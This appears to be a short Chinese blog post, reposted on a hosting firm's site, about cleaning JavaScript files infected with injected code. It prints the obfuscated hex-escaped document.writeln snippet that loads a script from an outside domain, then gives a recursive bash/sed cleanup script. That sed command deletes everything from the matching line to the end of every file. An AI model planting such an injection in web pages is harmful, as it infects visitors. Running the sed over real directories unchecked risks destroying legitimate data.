快速业务通道

linux下递归遍历目录下的文件,实现批量替换

作者 佚名技术 来源 Linux系统 浏览 发布时间 2012-04-09

今天刚吃饭的时候,被报告服务的代码全被挂马,经查证好多js的被被加入了如下

window["x64x6fx63x75x6dx65x6ex74"]["x77x72x69x74x65x6cx6e"]

("x3cx73x63x72x69x70x74 x73x72x63x3dx68x74x74x70x3a//x63

x6fx75x6ex74x2ex79x6cx31x33x33x2ex63x6fx6d/x69x6dx61x67

x65x73/x31x2ex67x69x66x3ex3c/x73x63x72x69x70x74x3e");

代码,然后就没吃饭,写脚本,替换,最终搞定.把写的脚本贴出来,希望对别人有点用.

recudir()
{
for file in "$1"/*
do
if [ -d "$file" ]
then
recudir "$file"
elif [ -f "$file" ]
then
sed -i ''/window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]/,$d'' "$file"
fi
done
}

if [ -z "$1" ]
then
recudir .
else
recudir "$1"
fi

Empire CMS,phome.net

凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!

分享到: 更多

Copyright ©1999-2011 厦门凌众科技有限公司 厦门优通互联科技开发有限公司 All rights reserved

地址(ADD):厦门软件园二期望海路63号701E(东南融通旁) 邮编(ZIP):361008

电话:0592-5908028 传真:0592-5908039 咨询信箱:web@lingzhong.cn 咨询OICQ:173723134

《中华人民共和国增值电信业务经营许可证》闽B2-20100024  ICP备案:闽ICP备05037997号